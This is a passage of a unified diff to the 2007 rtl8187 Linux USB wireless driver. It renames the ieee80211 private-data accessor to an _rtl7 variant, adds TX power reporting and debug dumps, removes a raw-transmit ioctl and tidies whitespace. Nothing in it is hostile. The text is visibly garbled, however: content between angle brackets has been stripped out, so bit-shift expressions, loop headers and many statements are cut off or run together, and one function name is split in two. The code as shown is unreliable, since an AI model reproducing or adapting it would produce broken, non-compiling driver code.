struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +378,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +409,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +417,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +437,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +487,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +525,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +543,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +573,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +611,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -624,31 +664,27 @@ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { + { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" + }, + { SIOCIWFIRSTPRIV + 0x1, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - - }, - { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + } }; @@ -660,13 +696,12 @@ // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +714,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_txpower/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8187_core.c 2007-04-23 00:08:11.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +#define DEBUG_EPROM +#define DEBUG_REGISTERS +#define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,115 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +943,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +968,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +994,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1010,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; } - + void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = 